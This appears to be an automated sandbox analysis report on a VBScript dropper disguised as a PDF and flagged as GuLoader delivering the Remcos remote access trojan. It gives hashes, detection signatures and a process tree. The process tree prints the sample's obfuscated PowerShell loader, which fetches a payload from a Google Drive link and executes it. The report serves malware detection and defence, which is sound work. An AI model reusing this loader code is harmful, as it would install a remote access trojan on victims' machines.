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Windows
Analysis Report
DIR-A_JY4878249#U00b7pdf.vbs
Overview
General Information
| Sample name: | DIR-A_JY4878249#U00b7pdf.vbsrenamed because original name is a hash value |
| Original sample name: | DIR-A_JY4878249pdf.vbs |
| Analysis ID: | 1633353 |
| MD5: | 093a38cc301b69676ffdc1b1929d289e |
| SHA1: | 63ed0e890211ffd8e2282ec72f96a4c1b0f91039 |
| SHA256: | eac5b3f6786c992c180f77bdd9d25932c80645d00038021a45b2981436d93c61 |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Joe Sandbox ML detected suspicious sample
Potential evasive VBS script found (sleep loop)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7036 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\DIR-A _JY4878249 #U00b7pdf. vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
PING.EXE (PID: 7136 cmdline: ping Host_ 6637.6637. 6637.657e MD5: 2F46799D79D22AC72C241EC0322B011D) 
conhost.exe (PID: 7144 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 6344 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "echo $Cha irlift;fun ction Opgr elsesdatoe r($Perdric ide){ .($B uenas) ($P erdricide) } function ampler($E nvoyjcs){$ Deminerali serings=4; do{$Yamshi k+=$Envoyj cs[$Demine ralisering s];$Demine ralisering s+=5;$Tene brosity=Fo rmat-List} until(!$E nvoyjcs[$D emineralis erings])$Y amshik}$Me ddelagtig= ampler 'Ho enSp jeSe paTOoph..n glW';$Medd elagtig+=a mpler ' He reBldgBStu dCCrocLIso ci ReaEF i gnpseuT';$ Marginelli dae=ampler 'KravM su noKampzVar iiRacil Mu llun aaKra d/';$Libre tto=ampler 'Rec.TCer ilDjersUns t1Dobb2';$ trediveaar sfdselsdag ene='Ki l[ Sortn Cece S roTSamm. AmblS.emoe Klarsuppv tun IUp,lc Su.fE.awtp Loy o icaI K fNSibeT Par mL upa Tacn Pa a sigggFaitE porR Esk] Cape:d fe: BlteSExige AstrcBlafU Mi rNyanI DisitPaadY Sk PBirer CircoTinft Saldot.evc C.asOabyil labe= Udp$ UdviLTorti O thbencar SpeEBlewT Ru.dTWillO ';$Margine llidae+=am pler 'Noni 5 ui.Zaza0 P da E.v(B uggWKommi Counomlad Endoaf,twA fsksKore G hetN DomTR a e T ks1T old0Upfu.O rch0 Kai;. mpe ,egeWT i.vi Ko,n fut6 Sta4R ube;Ps.u K varxCald6K uki4Skin;P osi GlacrD imnvFrmn:E ffe1Ti e3E xt 4zinn. Mod0Pind)F ald osGHa n ePushcAn tikHydro D or/ Ago2Ca li0Tl.e1Te rp0sa k0d if1Uafl0 D s1S gu Ly ssF Se,i P irr.apie C orfSh noPe elx Ban/be .e1Tann3Se iz4 Sho. U na0';$Lygt eples240=a mpler 'Kur sUBarnsLon gE BalrL.n g-SunrAGod kgUnsheO e rNOve.T';$ Garanteret =ampler 'P rodhTapetR icktPronp SabsUdvi:. ere/Co o/G asldFormr Ur,iC tovH oa e C n. ludgMi tol arvoAcangB rstlUnreeC olo. blocW antoGen,mT y n/HernuB r tcKnar?G aloe TvixB trpba toR egnrRacitP la=VinddP lanoAl owS t.knK oklP ebeoSheda geadHove&A kai UnbdV iru=Envi1 dsdlobjeUT ale6 Domo EroBEngarR os MBrd HB ariW inET ar9Cha KOu tamSpil-Fj orjBa lnNa adgSyno8Ch ecETeatUKe rtzcapiPPa rcgFolkDRe krNTowp-Ge os8.elvKWi ndgSev h o p 8KalcM'; $Lvfaldet= ampler 'mi .d>';$Buen as=ampler ' dgri .ar ELinjX';$B rugstyveri ers='Flipp ermaskiner ';$Bajerfl asker='\Fo remilks.si g';Opgrels esdatoer ( ampler 'Bu lg$DratGGa lilUndeOCo loBTrilA C omL red:un wrDManciCo mpv KlaI T a DStdpe p loRBamsESt an=flok$ C aveS.mtNSt anVsub,:Gl caH.kep V itp Sped O mrAFangtV poAArte+aw in$UnjuBBo liaVandjVa rmeGeorr S .cF NonlSu s a SplSOv erK Ca,E D kkR');Opgr elsesdatoe r (ampler 'Or r$Sadd g In LX,no ok rrBPara aHylil H,r :ejerdOpil E SkoKRede LUds,aPe.d mChopAAlli TAs liRes, o DisnLear s Whin Kre UAggrm Spa rF.rleReci tHapsSdest =Bsse$Tegn GYuccaZoph RDemaABrag nSvent Vse eK,onR yst e HopTsabu .BiltSOvip p aikl Bot ISummTFibr (Blue$ we lBaarvMaxc F KvaaPort lSygedEmme e.nfeTSn g )');Opgrel sesdatoer (ampler $t rediveaars fdselsdage ne);$Garan teret=$Dek